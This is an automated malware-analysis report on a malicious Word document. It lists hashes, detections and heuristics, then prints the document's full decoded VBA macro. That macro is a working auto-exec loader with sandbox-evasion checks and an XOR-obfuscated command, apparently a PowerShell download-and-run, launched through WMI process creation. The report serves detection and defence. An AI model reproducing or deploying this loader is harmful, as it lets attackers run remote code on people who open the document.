Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 1f256e999edb88d7…

MALICIOUS

Office (OLE) / .DOC

33.5 KB Created: 2026-06-15 14:57:00 Authoring application: Microsoft Office Word First seen: 2026-06-17
MD5: 86f1653280f0f6d3b3e926193eaaefa0 SHA-1: f0da0ac343bdb15a9c59d34a4748a1f023a69655 SHA-256: 1f256e999edb88d722cb175b3f497a5336c4707c930d3660254a353d1e6415f2
260 Risk Score

Heuristics 10

  • ClamAV: Doc.Malware.Valyria-10009612-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10009612-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        GetObject(Nuts("093067068071077071094089016")).Get(Nuts("125067068025024117122088069073079089089")).Create Water, Tea, Coffee, Napkin
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        GetObject(Nuts("093067068071077071094089016")).Get(Nuts("125067068025024117122088069073079089089")).Create Water, Tea, Coffee, Napkin
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        If Environ("USERNAME") = "user" Or Environ("USERNAME") = "admin" Then
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1904 bytes
SHA-256: b0ebeaaeb84b86ad7f5462491432b9b44b27aa068ea733648ee8f06825626caf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Function Pears(Beets)
    Pears = Chr(Beets Xor 42)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Oatmilk = ""
    Do
        Oatmilk = Oatmilk + Pears(CInt(Strawberries(Milk)))
        Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Function MyMacro()
    If Environ("USERNAME") = "user" Or Environ("USERNAME") = "admin" Then
        Exit Function
    End If
    
    If Application.Width < 200 Then Exit Function
    
    If Application.RecentFiles.Count < 3 Then Exit Function
    
    If ActiveDocument.Name <> Nuts("078069073069088004078069073") Then
        Exit Function
    End If

    Dim Apples As String
    Dim Water As String

    Apples = "090069093079088089066079070070010007079082079073010072083090075089089010007068069090010007093010066067078078079068010007073010067079082002002068079093007069072064079073094010089083089094079071004068079094004093079072073070067079068094003004078069093068070069075078089094088067068077002013066094094090016005005027019024004027028018004030031004024027029016018026026026005088095068004094082094013003003"
    Water = Nuts(Apples)

    GetObject(Nuts("093067068071077071094089016")).Get(Nuts("125067068025024117122088069073079089089")).Create Water, Tea, Coffee, Napkin
End Function

Sub AutoOpen()
    MyMacro
End Sub